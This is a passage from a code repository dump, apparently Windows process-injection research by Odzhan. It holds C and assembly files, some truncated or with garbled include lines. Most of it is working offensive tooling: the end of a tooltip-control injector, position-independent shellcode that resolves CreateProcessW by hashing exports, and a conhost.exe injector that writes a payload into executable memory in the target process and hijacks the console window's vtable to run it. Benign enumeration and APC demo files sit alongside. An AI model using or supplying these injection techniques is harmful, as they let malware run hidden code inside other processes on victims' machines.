&argc); 164 | 165 | // inject payload into process via tooltips_class32 control 166 | if(argc != 2) { 167 | printf("usage: tooltip_inject \n"); 168 | return 0; 169 | } 170 | 171 | // inject payload? 172 | len = readpic(argv[1], &pic); 173 | if(len != 0) { 174 | commctrl_inject(pic, len); 175 | } else { 176 | printf("unable to read from %ws\n", argv[1]); 177 | commctrl_list(argv[1]); 178 | } 179 | return 0; 180 | } 181 | -------------------------------------------------------------------------------- /cmdline/winexec1.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Copyright © 2020 Odzhan. All Rights Reserved. 3 | ; 4 | ; Redistribution and use in source and binary forms, with or without 5 | ; modification, are permitted provided that the following conditions are 6 | ; met: 7 | ; 8 | ; 1. Redistributions of source code must retain the above copyright 9 | ; notice, this list of conditions and the following disclaimer. 10 | ; 11 | ; 2. Redistributions in binary form must reproduce the above copyright 12 | ; notice, this list of conditions and the following disclaimer in the 13 | ; documentation and/or other materials provided with the distribution. 14 | ; 15 | ; 3. The name of the author may not be used to endorse or promote products 16 | ; derived from this software without specific prior written permission. 17 | ; 18 | ; THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | ; IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | ; DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | ; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | ; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | ; STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | ; POSSIBILITY OF SUCH DAMAGE. 29 | ; 30 | ; invoke CreateProcessW() in 197 bytes of AMD64 assembly 31 | ; The wide-character string in RCX is passed as lpCommandLine 32 | ; 33 | ; Odzhan 34 | ; 35 | bits 64 36 | 37 | %include "include.inc" 38 | 39 | struc stk_mem 40 | .hs resb home_space_size 41 | 42 | .bInheritHandles resq 1 43 | .dwCreationFlags resq 1 44 | .lpEnvironment resq 1 45 | .lpCurrentDirectory resq 1 46 | .lpStartupInfo resq 1 47 | .lpProcessInformation resq 1 48 | 49 | .procinfo resb PROCESS_INFORMATION_size 50 | .startupinfo resb STARTUPINFO_size 51 | endstruc 52 | 53 | %define stk_size ((stk_mem_size + 15) & -16) - 8 54 | 55 | %ifndef BIN 56 | global createproc 57 | %endif 58 | 59 | ; void createproc(WCHAR cmd[]); 60 | createproc: 61 | ; save non-volatile registers 62 | pushx rsi, rbx, rdi, rbp 63 | 64 | ; allocate stack memory for arguments + home space 65 | xor eax, eax 66 | mov al, stk_size 67 | sub rsp, rax 68 | 69 | ; save pointer to buffer 70 | push rcx 71 | 72 | push TEB.ProcessEnvironmentBlock 73 | pop r11 74 | mov rax, [gs:r11] 75 | mov rax, [rax+PEB.Ldr] 76 | mov rdi, [rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink] 77 | jmp scan_dll 78 | next_dll: 79 | mov rdi, [rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink] 80 | scan_dll: 81 | mov rbx, [rdi+LDR_DATA_TABLE_ENTRY.DllBase] 82 | 83 | mov esi, [rbx+IMAGE_DOS_HEADER.e_lfanew] 84 | add esi, r11d ; add 60h or TEB.ProcessEnvironmentBlock 85 | ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 86 | mov ecx, [rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \ 87 | IMAGE_OPTIONAL_HEADER.DataDirectory + \ 88 | IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \ 89 | IMAGE_DATA_DIRECTORY.VirtualAddress - \ 90 | TEB.ProcessEnvironmentBlock] 91 | jecxz next_dll ; if no exports, try next DLL in list 92 | ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name 93 | lea rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames] 94 | lodsd ; eax = NumberOfNames 95 | xchg eax, ecx 96 | jecxz next_dll ; if no names, try next DLL in list 97 | 98 | ; r8 = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions 99 | lodsd 100 | xchg eax, r8d ; 101 | add r8, rbx ; r8 = RVA2VA(r8, rbx) 102 | ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfNames 103 | lodsd 104 | xchg eax, ebp ; 105 | add rbp, rbx ; rbp = RVA2VA(rbp, rbx) 106 | ; r9 = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals 107 | lodsd 108 | xchg eax, r9d 109 | add r9, rbx ; r9 = RVA2VA(r9, rbx) 110 | find_api: 111 | mov esi, [rbp+rcx*4-4] ; rax = AddressOfNames[rcx-1] 112 | add rsi, rbx 113 | xor eax, eax 114 | cdq 115 | hash_api: 116 | lodsb 117 | add edx, eax 118 | ror edx, 8 119 | dec al 120 | jns hash_api 121 | cmp edx, 0x1b929a47 ; CreateProcessW 122 | loopne find_api ; loop until found or no names left 123 | 124 | jnz next_dll ; not found? goto next_dll 125 | 126 | movzx eax, word[r9+rcx*2] ; eax = AddressOfNameOrdinals[rcx] 127 | mov eax, [r8+rax*4] 128 | add rbx, rax ; rbx += AddressOfFunctions[rdx] 129 | 130 | ; CreateProcess(NULL, cmd, NULL, NULL, 131 | ; FALSE, 0, NULL, &si, &pi); 132 | pop rdx ; lpCommandLine = buffer for Edit 133 | xor r8, r8 ; lpProcessAttributes = NULL 134 | xor r9, r9 ; lpThreadAttributes = NULL 135 | xor eax, eax 136 | mov [rsp+stk_mem.bInheritHandles ], rax ; bInheritHandles = FALSE 137 | mov [rsp+stk_mem.dwCreationFlags ], rax ; dwCreationFlags = 0 138 | mov [rsp+stk_mem.lpEnvironment ], rax ; lpEnvironment = NULL 139 | mov [rsp+stk_mem.lpCurrentDirectory ], rax ; lpCurrentDirectory = NULL 140 | 141 | lea rdi, [rsp+stk_mem.procinfo ] 142 | mov [rsp+stk_mem.lpProcessInformation], rdi ; lpProcessInformation = &pi 143 | 144 | lea rdi, [rsp+stk_mem.startupinfo ] 145 | mov [rsp+stk_mem.lpStartupInfo ], rdi ; lpStartupInfo = &si 146 | 147 | xor ecx, ecx 148 | push STARTUPINFO_size 149 | pop rax 150 | stosd ; si.cb = sizeof(STARTUPINFO) 151 | sub rax, 4 152 | xchg eax, ecx 153 | rep stosb 154 | call rbx 155 | 156 | ; deallocate stack 157 | xor eax, eax 158 | mov al, stk_size 159 | add rsp, rax 160 | xor eax, eax 161 | 162 | ; restore non-volatile registers 163 | popx rsi, rbx, rdi, rbp 164 | ret 165 | -------------------------------------------------------------------------------- /mpr/enum.c: -------------------------------------------------------------------------------- 1 | #ifndef UNICODE 2 | #define UNICODE 3 | #endif 4 | #pragma comment(lib, "mpr.lib") 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | BOOL WINAPI EnumerateFunc(LPNETRESOURCE lpnr); 11 | void DisplayStruct(int i, LPNETRESOURCE lpnrLocal); 12 | 13 | int main() 14 | { 15 | 16 | LPNETRESOURCE lpnr = NULL; 17 | 18 | if (EnumerateFunc(lpnr) == FALSE) { 19 | printf("Call to EnumerateFunc failed\n"); 20 | return 1; 21 | } else 22 | return 0; 23 | getchar(); 24 | } 25 | 26 | BOOL WINAPI EnumerateFunc(LPNETRESOURCE lpnr) 27 | { 28 | DWORD dwResult, dwResultEnum; 29 | HANDLE hEnum; 30 | DWORD cbBuffer = 16384; // 16K is a good size 31 | DWORD cEntries = -1; // enumerate all possible entries 32 | LPNETRESOURCE lpnrLocal; // pointer to enumerated structures 33 | DWORD i; 34 | // 35 | // Call the WNetOpenEnum function to begin the enumeration. 36 | // 37 | dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, // all network resources 38 | RESOURCETYPE_ANY, // all resources 39 | 0, // enumerate all resources 40 | lpnr, // NULL first time the function is called 41 | &hEnum); // handle to the resource 42 | 43 | if (dwResult != NO_ERROR) { 44 | printf("WnetOpenEnum failed with error %d\n", dwResult); 45 | return FALSE; 46 | } 47 | // 48 | // Call the GlobalAlloc function to allocate resources. 49 | // 50 | lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer); 51 | if (lpnrLocal == NULL) { 52 | printf("WnetOpenEnum failed with error %d\n", dwResult); 53 | // NetErrorHandler(hwnd, dwResult, (LPSTR)"WNetOpenEnum"); 54 | return FALSE; 55 | } 56 | 57 | do { 58 | // 59 | // Initialize the buffer. 60 | // 61 | ZeroMemory(lpnrLocal, cbBuffer); 62 | // 63 | // Call the WNetEnumResource function to continue 64 | // the enumeration. 65 | // 66 | dwResultEnum = WNetEnumResource(hEnum, // resource handle 67 | &cEntries, // defined locally as -1 68 | lpnrLocal, // LPNETRESOURCE 69 | &cbBuffer); // buffer size 70 | // 71 | // If the call succeeds, loop through the structures. 72 | // 73 | if (dwResultEnum == NO_ERROR) { 74 | for (i = 0; i < cEntries; i++) { 75 | // Call an application-defined function to 76 | // display the contents of the NETRESOURCE structures. 77 | // 78 | DisplayStruct(i, &lpnrLocal[i]); 79 | 80 | // If the NETRESOURCE structure represents a container resource, 81 | // call the EnumerateFunc function recursively. 82 | 83 | if (RESOURCEUSAGE_CONTAINER == (lpnrLocal[i].dwUsage 84 | & RESOURCEUSAGE_CONTAINER)) 85 | // if(!EnumerateFunc(hwnd, hdc, &lpnrLocal[i])) 86 | if (!EnumerateFunc(&lpnrLocal[i])) 87 | printf("EnumerateFunc returned FALSE\n"); 88 | // TextOut(hdc, 10, 10, "EnumerateFunc returned FALSE.", 29); 89 | } 90 | } 91 | // Process errors. 92 | // 93 | else if (dwResultEnum != ERROR_NO_MORE_ITEMS) { 94 | printf("WNetEnumResource failed with error %d\n", dwResultEnum); 95 | 96 | // NetErrorHandler(hwnd, dwResultEnum, (LPSTR)"WNetEnumResource"); 97 | break; 98 | } 99 | } 100 | // 101 | // End do. 102 | // 103 | while (dwResultEnum != ERROR_NO_MORE_ITEMS); 104 | // 105 | // Call the GlobalFree function to free the memory. 106 | // 107 | GlobalFree((HGLOBAL) lpnrLocal); 108 | // 109 | // Call WNetCloseEnum to end the enumeration. 110 | // 111 | dwResult = WNetCloseEnum(hEnum); 112 | 113 | if (dwResult != NO_ERROR) { 114 | // 115 | // Process errors. 116 | // 117 | printf("WNetCloseEnum failed with error %d\n", dwResult); 118 | // NetErrorHandler(hwnd, dwResult, (LPSTR)"WNetCloseEnum"); 119 | return FALSE; 120 | } 121 | 122 | return TRUE; 123 | } 124 | 125 | void DisplayStruct(int i, LPNETRESOURCE lpnrLocal) 126 | { 127 | printf("NETRESOURCE[%d] Scope: ", i); 128 | switch (lpnrLocal->dwScope) { 129 | case (RESOURCE_CONNECTED): 130 | printf("connected\n"); 131 | break; 132 | case (RESOURCE_GLOBALNET): 133 | printf("all resources\n"); 134 | break; 135 | case (RESOURCE_REMEMBERED): 136 | printf("remembered\n"); 137 | break; 138 | default: 139 | printf("unknown scope %d\n", lpnrLocal->dwScope); 140 | break; 141 | } 142 | 143 | printf("NETRESOURCE[%d] Type: ", i); 144 | switch (lpnrLocal->dwType) { 145 | case (RESOURCETYPE_ANY): 146 | printf("any\n"); 147 | break; 148 | case (RESOURCETYPE_DISK): 149 | printf("disk\n"); 150 | break; 151 | case (RESOURCETYPE_PRINT): 152 | printf("print\n"); 153 | break; 154 | default: 155 | printf("unknown type %d\n", lpnrLocal->dwType); 156 | break; 157 | } 158 | 159 | printf("NETRESOURCE[%d] DisplayType: ", i); 160 | switch (lpnrLocal->dwDisplayType) { 161 | case (RESOURCEDISPLAYTYPE_GENERIC): 162 | printf("generic\n"); 163 | break; 164 | case (RESOURCEDISPLAYTYPE_DOMAIN): 165 | printf("domain\n"); 166 | break; 167 | case (RESOURCEDISPLAYTYPE_SERVER): 168 | printf("server\n"); 169 | break; 170 | case (RESOURCEDISPLAYTYPE_SHARE): 171 | printf("share\n"); 172 | break; 173 | case (RESOURCEDISPLAYTYPE_FILE): 174 | printf("file\n"); 175 | break; 176 | case (RESOURCEDISPLAYTYPE_GROUP): 177 | printf("group\n"); 178 | break; 179 | case (RESOURCEDISPLAYTYPE_NETWORK): 180 | printf("network\n"); 181 | break; 182 | default: 183 | printf("unknown display type %d\n", lpnrLocal->dwDisplayType); 184 | break; 185 | } 186 | 187 | printf("NETRESOURCE[%d] Usage: 0x%x = ", i, lpnrLocal->dwUsage); 188 | if (lpnrLocal->dwUsage & RESOURCEUSAGE_CONNECTABLE) 189 | printf("connectable "); 190 | if (lpnrLocal->dwUsage & RESOURCEUSAGE_CONTAINER) 191 | printf("container "); 192 | printf("\n"); 193 | 194 | printf("NETRESOURCE[%d] Localname: %S\n", i, lpnrLocal->lpLocalName); 195 | printf("NETRESOURCE[%d] Remotename: %S\n", i, lpnrLocal->lpRemoteName); 196 | printf("NETRESOURCE[%d] Comment: %S\n", i, lpnrLocal->lpComment); 197 | printf("NETRESOURCE[%d] Provider: %S\n", i, lpnrLocal->lpProvider); 198 | printf("\n"); 199 | } -------------------------------------------------------------------------------- /apc/alert.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | /** 31 | Example output on Windows 10 32 | 33 | PC: 00007FFF1491C6E4 ntdll.dll!ZwDelayExecution 34 | Queuing APC for SleepEx. 35 | SleepEx ended 36 | 37 | PC: 00007FFF1491C0E4 ntdll.dll!NtWaitForSingleObject 38 | Queuing APC for WaitForSingleObjectEx. 39 | WaitForSingleObjectEx ended 40 | 41 | PC: 00007FFF1491CBB4 ntdll.dll!NtWaitForMultipleObjects 42 | Queuing APC for WaitForMultipleObjectsEx. 43 | WaitForMultipleObjectsEx ended 44 | 45 | PC: 00007FFF1491F654 ntdll.dll!NtSignalAndWaitForSingleObject 46 | Queuing APC for SignalObjectAndWait. 47 | SignalObjectAndWait ended 48 | 49 | PC: 00007FFF126C9A84 win32u.dll!NtUserMsgWaitForMultipleObjectsEx 50 | Queuing APC for MsgWaitForMultipleObjectsEx. 51 | MsgWaitForMultipleObjectsEx ended 52 | 53 | PC: 00007FFF1491CBB4 ntdll.dll!NtWaitForMultipleObjects 54 | Queuing APC for WSAWaitForMultipleEvents. 55 | WSAWaitForMultipleEvents ended 56 | 57 | PC: 00007FFF1491ED94 ntdll.dll!NtRemoveIoCompletionEx 58 | Queuing APC for GetQueuedCompletionStatusEx. 59 | GetQueuedCompletionStatusEx ended 60 | 61 | PC: 00007FFF1491C0E4 ntdll.dll!NtWaitForSingleObject 62 | Queuing APC for GetOverlappedResultEx. 63 | GetOverlappedResultEx ended 64 | 65 | */ 66 | 67 | #define UNICODE 68 | 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | 77 | #pragma comment(lib, "shlwapi.lib") 78 | #pragma comment(lib, "advapi32.lib") 79 | #pragma comment(lib, "dbghelp.lib") 80 | #pragma comment(lib, "user32.lib") 81 | #pragma comment(lib, "ws2_32.lib") 82 | 83 | // resolve symbol for addr without using SymFromName 84 | PWCHAR addr2sym(HANDLE hp, LPVOID addr) { 85 | WCHAR path[MAX_PATH]; 86 | BYTE buf[sizeof(SYMBOL_INFO)+MAX_SYM_NAME*sizeof(WCHAR)]; 87 | PSYMBOL_INFO si=(PSYMBOL_INFO)buf; 88 | static WCHAR name[MAX_PATH]; 89 | 90 | ZeroMemory(path, ARRAYSIZE(path)); 91 | ZeroMemory(name, ARRAYSIZE(name)); 92 | 93 | GetMappedFileName( 94 | hp, addr, path, MAX_PATH); 95 | 96 | PathStripPath(path); 97 | 98 | si->SizeOfStruct = sizeof(SYMBOL_INFO); 99 | si->MaxNameLen = MAX_SYM_NAME; 100 | 101 | if(SymFromAddr(hp, (DWORD64)addr, NULL, si)) { 102 | wsprintf(name, L"%s!%hs", path, si->Name); 103 | } else { 104 | lstrcpy(name, path); 105 | } 106 | return name; 107 | } 108 | 109 | DWORD WINAPI ThreadProc(LPVOID lpParameter) { 110 | HANDLE port, *evt = (HANDLE)lpParameter; 111 | OVERLAPPED lap; 112 | OVERLAPPED_ENTRY lapentry; 113 | ULONG ulNumEntriesRemoved; 114 | 115 | // 1. 116 | SleepEx(0x12345678, TRUE); 117 | printf("SleepEx ended\n"); 118 | 119 | // 2. 120 | WaitForSingleObjectEx(evt[0], 0x12345678, TRUE); 121 | printf("WaitForSingleObjectEx ended\n"); 122 | 123 | // 3. 124 | WaitForMultipleObjectsEx(2, evt, FALSE, 0x12345678, TRUE); 125 | printf("WaitForMultipleObjectsEx ended\n"); 126 | 127 | // 4. 128 | SignalObjectAndWait(evt[1], evt[0], 0x12345678, TRUE); 129 | printf("SignalObjectAndWait ended\n"); 130 | 131 | // 5. 132 | ResetEvent(evt[0]); 133 | ResetEvent(evt[1]); 134 | MsgWaitForMultipleObjectsEx(2, evt, 135 | 0x12345678, QS_RAWINPUT, MWMO_ALERTABLE); 136 | printf("MsgWaitForMultipleObjectsEx ended\n"); 137 | 138 | // 6. 139 | WSAWaitForMultipleEvents(2, evt, FALSE, 0x12345678, TRUE); 140 | printf("WSAWaitForMultipleEvents ended\n"); 141 | 142 | // 7. 143 | port = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); 144 | GetQueuedCompletionStatusEx(port, &lapentry, 1, 145 | &ulNumEntriesRemoved, INFINITE, TRUE); 146 | printf("GetQueuedCompletionStatusEx ended\n"); 147 | CloseHandle(port); 148 | 149 | // 8. 150 | ZeroMemory(&lap, sizeof(lap)); 151 | lap.hEvent = evt[0]; 152 | GetOverlappedResultEx(evt[2], &lap, NULL, 0x12345678, TRUE); 153 | printf("GetOverlappedResultEx ended\n"); 154 | 155 | return 0; 156 | } 157 | 158 | int main(void) { 159 | HANDLE ht, h[3]; 160 | LPVOID m, f; 161 | DWORD i; 162 | CONTEXT c; 163 | 164 | char *api[8]={ 165 | "SleepEx", 166 | "WaitForSingleObjectEx", 167 | "WaitForMultipleObjectsEx", 168 | "SignalObjectAndWait", 169 | "MsgWaitForMultipleObjectsEx", 170 | "WSAWaitForMultipleEvents", 171 | "GetQueuedCompletionStatusEx", 172 | "GetOverlappedResultEx"}; 173 | 174 | h[0] = CreateEvent(NULL, FALSE, FALSE, NULL); 175 | h[1] = CreateEvent(NULL, FALSE, FALSE, NULL); 176 | h[2] = CreateFile(L"alert.exe", GENERIC_READ, 177 | FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 178 | 179 | // resolve address of SetEvent 180 | f = GetProcAddress(GetModuleHandle(L"kernel32"), "SetEvent"); 181 | ht = CreateThread(NULL, 0, ThreadProc, h, 0, NULL); 182 | 183 | SymSetOptions(SYMOPT_DEFERRED_LOADS); 184 | SymInitialize(GetCurrentProcess(), NULL, TRUE); 185 | 186 | for(i=0; iNumberOfHandles; i++) { 68 | // skip these to avoid hanging process 69 | if((hl->Handles[i].GrantedAccess == 0x0012019f) || 70 | (hl->Handles[i].GrantedAccess == 0x001a019f) || 71 | (hl->Handles[i].GrantedAccess == 0x00120189) || 72 | (hl->Handles[i].GrantedAccess == 0x00100000)) { 73 | continue; 74 | } 75 | 76 | type=NULL; name=NULL; file=NULL; 77 | // does user want to filter out process? 78 | if(pid != 0 && (hl->Handles[i].UniqueProcessId != pid)) { 79 | continue; 80 | } 81 | // open the process to duplicate handle. continue on error 82 | hp = OpenProcess(PROCESS_DUP_HANDLE, 83 | FALSE, hl->Handles[i].UniqueProcessId); 84 | if(hp==NULL) { 85 | continue; 86 | } 87 | 88 | // duplicate the handle object 89 | status = NtDuplicateObject( 90 | hp, (HANDLE)hl->Handles[i].HandleValue, 91 | GetCurrentProcess(), &hObject, 0, 0, 0); 92 | 93 | CloseHandle(hp); 94 | // continue with next if we failed 95 | if(!NT_SUCCESS(status)) { 96 | continue; 97 | } 98 | // query basic info about object 99 | status = NtQueryObject(hObject, 100 | ObjectBasicInformation, &obi, 101 | sizeof(obi), &len); 102 | 103 | if(NT_SUCCESS(status)) { 104 | // query the type 105 | status = NtQueryObject(hObject, 106 | ObjectTypeInformation, t, 107 | MAX_BUFSIZ, NULL); 108 | 109 | // okay? store the type 110 | if (NT_SUCCESS(status)) { 111 | type = t->TypeName.Buffer; 112 | } 113 | // if there's a name for this object 114 | if(obi.NameInfoSize != 0) { 115 | // query the name 116 | status = NtQueryObject(hObject, 117 | ObjectNameInformation, n, 118 | MAX_BUFSIZ, NULL); 119 | // okay? store the name 120 | if(NT_SUCCESS(status)) { 121 | name = n->Name.Buffer; 122 | } 123 | } else { 124 | // try get the filename 125 | ZeroMemory(filename, ARRAYSIZE(filename)); 126 | len=GetFinalPathNameByHandle(hObject, 127 | filename, MAX_PATH, VOLUME_NAME_NT); 128 | // okay? store the filename 129 | if(len!=0) { 130 | file = filename; 131 | } 132 | } 133 | } 134 | // close handle object 135 | NtClose(hObject); 136 | // skip it if we didn't get a name for this object 137 | if(bNameRequired) { 138 | if(name==NULL && file==NULL) continue; 139 | } 140 | // is this the right object type? 141 | if(objType!=NULL && (StrStrI(type, objType)==NULL)) continue; 142 | PrintHandle(hl->Handles[i].UniqueProcessId, type, name, file); 143 | } 144 | xfree(t); 145 | xfree(n); 146 | // free list of handles 147 | xfree(list); 148 | } 149 | 150 | void usage(void) { 151 | wprintf(L"\nusage: handle /t /n\n"); 152 | wprintf(L" /t : Type of objects to find. i.e: section, event, mutant, alpc, file.\n"); 153 | wprintf(L" /n : Don't require name for object.\n\n"); 154 | exit(0); 155 | } 156 | 157 | int main(void) { 158 | DWORD pid=0; 159 | PWCHAR *argv, type=NULL,process=NULL; 160 | BOOL bName=TRUE; // skip objects with no name 161 | int i, argc; 162 | wchar_t opt; 163 | 164 | argv = CommandLineToArgvW(GetCommandLine(), &argc); 165 | 166 | for(i=1;i 34 | #include 35 | 36 | #include 37 | 38 | #pragma comment(lib, "user32.lib") 39 | #pragma comment(lib, "shell32.lib") 40 | 41 | typedef struct _vftable_t { 42 | ULONG_PTR EnableBothScrollBars; 43 | ULONG_PTR UpdateScrollBar; 44 | ULONG_PTR IsInFullscreen; 45 | ULONG_PTR SetIsFullscreen; 46 | ULONG_PTR SetViewportOrigin; 47 | ULONG_PTR SetWindowHasMoved; 48 | ULONG_PTR CaptureMouse; 49 | ULONG_PTR ReleaseMouse; 50 | ULONG_PTR GetWindowHandle; 51 | ULONG_PTR SetOwner; 52 | ULONG_PTR GetCursorPosition; 53 | ULONG_PTR GetClientRectangle; 54 | ULONG_PTR MapPoints; 55 | ULONG_PTR ConvertScreenToClient; 56 | ULONG_PTR SendNotifyBeep; 57 | ULONG_PTR PostUpdateScrollBars; 58 | ULONG_PTR PostUpdateTitleWithCopy; 59 | ULONG_PTR PostUpdateWindowSize; 60 | ULONG_PTR UpdateWindowSize; 61 | ULONG_PTR UpdateWindowText; 62 | ULONG_PTR HorizontalScroll; 63 | ULONG_PTR VerticalScroll; 64 | ULONG_PTR SignalUia; 65 | ULONG_PTR UiaSetTextAreaFocus; 66 | ULONG_PTR GetWindowRect; 67 | } ConsoleWindow; 68 | 69 | // just here for reference. it's not used here. 70 | typedef struct _userData_t { 71 | ULONG_PTR vTable; // gets replaced with new table pointer 72 | ULONG_PTR pUnknown; // some undefined memory pointer 73 | HWND hWnd; 74 | BYTE buf[100]; // don't care 75 | } UserData; 76 | 77 | // given a process id for a console process, it will return 78 | // the process id for conhost.exe 79 | DWORD conhostId(DWORD dwPPid) { 80 | HANDLE hSnap; 81 | PROCESSENTRY32 pe32; 82 | DWORD dwPid=0; 83 | 84 | // create snapshot of system 85 | hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 86 | if(hSnap == INVALID_HANDLE_VALUE) return 0; 87 | 88 | pe32.dwSize = sizeof(PROCESSENTRY32); 89 | 90 | // get first process 91 | if(Process32First(hSnap, &pe32)){ 92 | do { 93 | // conhost? 94 | if (lstrcmpi(L"conhost.exe", pe32.szExeFile)==0) { 95 | // child process? 96 | if (pe32.th32ParentProcessID == dwPPid) { 97 | // return process id 98 | dwPid = pe32.th32ProcessID; 99 | break; 100 | } 101 | } 102 | } while(Process32Next(hSnap, &pe32)); 103 | } 104 | CloseHandle(hSnap); 105 | 106 | return dwPid; 107 | } 108 | 109 | DWORD readpic(PWCHAR path, LPVOID *pic){ 110 | HANDLE hf; 111 | DWORD len, rd=0; 112 | 113 | // 1. open the file 114 | hf = CreateFile(path, GENERIC_READ, 0, 0, 115 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 116 | 117 | if (hf != INVALID_HANDLE_VALUE){ 118 | // get file size 119 | len = GetFileSize(hf, 0); 120 | // allocate memory 121 | *pic = malloc(len + 16); 122 | // read file contents into memory 123 | ReadFile(hf, *pic, len, &rd, 0); 124 | CloseHandle(hf); 125 | } 126 | return rd; 127 | } 128 | 129 | VOID conhostInject(LPVOID payload, DWORD payloadSize) { 130 | HWND hwnd; 131 | DWORD64 udptr; 132 | DWORD pid, ppid; 133 | SIZE_T wr; 134 | HANDLE hp; 135 | ConsoleWindow cw; 136 | LPVOID cs, ds; 137 | ULONG_PTR vTable; 138 | 139 | // 1. Obtain handle and process id for a console window 140 | // (this assumes one already running) 141 | hwnd = FindWindow(L"ConsoleWindowClass", NULL); 142 | 143 | GetWindowThreadProcessId(hwnd, &ppid); 144 | 145 | // 2. Obtain the process id for the host process 146 | pid = conhostId(ppid); 147 | 148 | // csrss.exe spawns conhost.exe on 32-bit windows 149 | if (pid==0) { 150 | printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid); 151 | return; 152 | } 153 | // 3. Open the conhost.exe process 154 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 155 | 156 | // 4. Allocate RWX memory and copy the payload there 157 | cs = VirtualAllocEx(hp, NULL, payloadSize, 158 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 159 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 160 | 161 | // 5. Read the address of current virtual table 162 | udptr = (DWORD64)GetWindowLongPtr(hwnd, GWLP_USERDATA); 163 | 164 | printf("GWLP_USERDATA : %llx\n", udptr); 165 | 166 | ReadProcessMemory(hp, (LPVOID)udptr, 167 | (LPVOID)&vTable, sizeof(ULONG_PTR), &wr); 168 | 169 | printf("Table : %p\n", vTable); 170 | 171 | // 6. Read the current virtual table into local memory 172 | ReadProcessMemory(hp, (LPVOID)vTable, 173 | (LPVOID)&cw, sizeof(ConsoleWindow), &wr); 174 | 175 | // 7. Allocate RW memory for the new virtual table 176 | ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), 177 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 178 | // 8. update the local copy of virtual table with 179 | // address of payload and write to remote process 180 | cw.GetWindowHandle = (ULONG_PTR)cs; 181 | WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); 182 | 183 | // 9. Update pointer to virtual table in remote process 184 | WriteProcessMemory(hp, (LPVOID)udptr, &ds, 185 | sizeof(ULONG_PTR), &wr); 186 | 187 | printf("Set breakpoint on %p\nWindow Handle : %p", 188 | (PVOID)cs, (PVOID)hwnd 189 | ); 190 | getchar(); 191 | 192 | // 10. Trigger execution of the payload 193 | SendMessage(hwnd, WM_SETFOCUS, 0, 0); 194 | 195 | // 11. Restore pointer to original virtual table 196 | WriteProcessMemory(hp, (LPVOID)udptr, &vTable, 197 | sizeof(ULONG_PTR), &wr); 198 | 199 | // 12. Release memory and close handles 200 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 201 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 202 | 203 | 